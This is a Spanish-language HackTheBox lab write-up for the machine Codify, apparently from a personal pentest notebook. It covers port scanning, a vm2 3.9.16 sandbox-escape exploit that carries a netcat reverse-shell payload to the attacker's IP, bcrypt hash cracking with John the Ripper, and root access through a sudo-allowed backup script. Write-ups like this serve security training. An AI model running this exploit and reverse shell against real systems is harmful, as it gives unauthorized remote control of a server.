🌐
My Pentest Book
  • πŸ’‘I changed my website
  • πŸ“„WriteUps
    • πŸ΄β€β˜ οΈHTB - HackTheBox
      • ⬛HTB - Advanced Labs
        • Endgames
          • P.O.O.
      • 🟨HTB - Runner
      • 🟩HTB - Usage
      • 🟩HTP - Active (Incomplete)
      • 🟨HTB - Scrambled
      • πŸŸ₯HTB - FormulaX (Incomplete)
      • πŸŸ₯HTB - Office
      • 🟩HTB - Perfection
      • 🟨HTB - WifineticTwo
      • 🟨HTB - Jab (Incomplete)
      • 🟩HTB - Buff
      • 🟨HTB - Hospital
      • 🟩HTB - Crafty
      • 🟩HTB - Bizness
      • 🟩HTB - Devvortex
      • 🟩HTB - CozyHosting
      • 🟩HTB - Analytics
      • 🟩HTB - Codify
      • 🟨HTB - Surveillance
      • 🟨HTB - Monitored
Con tecnologΓ­a de GitBook
En esta pΓ‘gina
  • InformaciΓ³n General
  • Enumeration
  • Exploitation
  • Privilege Escalation

ΒΏTe fue ΓΊtil?

Editar en GitHub
  1. WriteUps
  2. HTB - HackTheBox

HTB - Codify

https://app.hackthebox.com/machines/Codify

AnteriorHTB - AnalyticsSiguienteHTB - Surveillance

ΒΏTe fue ΓΊtil?

InformaciΓ³n General

  • Nombre de la MΓ‘quina: Codify

  • IP de la MΓ‘quina: 10.10.11.239

  • Sistema Operativo: Linux

  • Dificultad: Easy

  • Fecha de PublicaciΓ³n: 04 Nov 2023


Enumeration

Establecer el objetivo

Primero, establecemos el objetivo utilizando el comando settarget con la direcciΓ³n IP de la mΓ‘quina objetivo:

settarget 10.10.11.239 Codify

Ping de reconocimiento

Realizamos un ping a la mΓ‘quina objetivo para verificar la conectividad y obtener informaciΓ³n sobre la ruta utilizando la opciΓ³n -R para incluir la ruta de retorno:

ping -c 1 10.10.11.239 -R

Escaneo de puertos con Nmap

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la mΓ‘quina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mΓ­nima de paquetes y -vvv para un nivel de verbosidad alto. AdemΓ‘s, utilizamos -n para desactivar la resoluciΓ³n de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable:

sudo nmap -p- --open -sS --min-rate 5000 -vvv  -n -Pn 10.10.11.239 -oG allPorts

Escaneo detallado con Nmap

Posteriormente, realizamos un escaneo mΓ‘s detallado de los puertos identificados utilizando la opciΓ³n -sCV para detecciΓ³n de versiones y scripts de enumeraciΓ³n de servicios. EspecΓ­ficamente, indicamos los puertos a escanear con -p __PORTS__ (reemplazando __PORTS__ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:

sudo nmap -sCV -p22,80,3000,8080 10.10.11.239 -oN targeted
cat targeted -l java

Para aΓ±adir la entrada "10.10.11.239 codify.htb" al archivo /etc/hosts, puedes usar el siguiente comando en la terminal:

echo "10.10.11.239 codify.htb" | sudo tee -a /etc/hosts

Este comando aΓ±ade la direcciΓ³n IP 10.10.11.239 asociada al nombre de host codify.htb al archivo /etc/hosts de tu sistema.

Utilizando WhatWeb para Obtener InformaciΓ³n sobre el Objetivo

Para obtener mΓ‘s informaciΓ³n sobre nuestro objetivo, utilizamos la herramienta WhatWeb. Esta herramienta nos permite identificar tecnologΓ­as web utilizadas en el servidor, como el sistema de gestiΓ³n de contenidos (CMS), el lenguaje de programaciΓ³n, los plugins y otras caracterΓ­sticas. Ejecutamos el siguiente comando:

whatweb http://codify.htb > whatweb && cat whatweb -l java

Para realizar un descubrimiento de directorios en un sitio web utilizando Gobuster, puedes utilizar el siguiente comando:

gobuster dir -u http://codify.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50

Este comando utiliza Gobuster para realizar un escaneo de directorios en el sitio web http://codify.htb/. Utiliza el archivo de palabras /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt como lista de palabras clave para la bΓΊsqueda. La opciΓ³n -t 50 indica que se deben utilizar 50 threads simultΓ‘neos para acelerar el proceso.

TIP: InstalaciΓ³n de SecLists con apt-get

Para instalar SecLists en sistemas basados en Debian (como Ubuntu) utilizando apt-get, puedes seguir estos pasos:

  1. Actualiza la lista de paquetes disponibles:

    sudo apt-get update
  2. Instala SecLists:

    sudo apt-get install seclists

Con estos pasos, SecLists se instalarΓ‘ en tu sistema y podrΓ‘s acceder a la lista de palabras clave en el directorio /usr/share/seclists/

Exploitation

DespuΓ©s de investigar exhaustivamente la pΓ‘gina web y enfrentarme a varios desafΓ­os, descubrΓ­ un detalle revelador en la secciΓ³n "About-us": el nombre de la librerΓ­a utilizada en el sitio, VM2 3.9.16. Esta informaciΓ³n resultΓ³ ser crucial, ya que al buscar en Google rΓ‘pidamente, encontrΓ© referencias a un "Sandbox Escape" que podrΓ­a permitirnos realizar un bypass y ejecutar cΓ³digo malicioso en el sistema. Este descubrimiento destaca la importancia de la perseverancia y la atenciΓ³n a los detalles en la seguridad informΓ‘tica, ya que a veces una pequeΓ±a pista puede conducir a grandes hallazgos.

const { VM } = require("vm2");
const vm = new VM();

const code = `
cmd = 'id'
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.80 6666 >/tmp/f');
}
`
console.log(vm.run(code));

Despues de un rato rebuscando el por el server me encuentro con un archivo llamado tickets.db alojado en /var/www/contact/

En este caso, utilizaremos John the Ripper con el formato bcrypt y una lista de palabras comunes para intentar crackear una contraseΓ±a.

El comando utilizado es el siguiente:

john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
  • --format=bcrypt: Especifica el formato del hash a crackear, en este caso, bcrypt.

  • --wordlist=/usr/share/wordlists/rockyou.txt: Especifica la lista de palabras que se utilizarΓ‘n en el intento de crackeo. En este caso, se utiliza el archivo rockyou.txt que es una lista de contraseΓ±as comunes.

  • hash.txt: Especifica el archivo que contiene el hash de la contraseΓ±a que queremos crackear.

Conseguimos crackear el hash ;). Por lo que probamos las credenciales, ssh joshua@codify.htb.

Privilege Escalation

Encontramos permisos de root en mysql-backup.sh. El comando sudo -l se utiliza para listar los privilegios que un usuario tiene para ejecutar comandos con sudo. sudo es un programa que permite a los usuarios ejecutar comandos con los privilegios de otro usuario (normalmente el usuario root o administrador) de forma temporal y controlada.

Esto es un bruteforce para el mysql-backup.sh

Ahora probamos la nueva credencial

πŸ“„
πŸ΄β€β˜ οΈ
🟩
El reverse shell lo saquΓ© de acΓ‘:
/tmp/bash.sh
Resultado
Ya estamos en root, pwned!
https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244
https://takingnotes.net/security/backdoors-and-shells/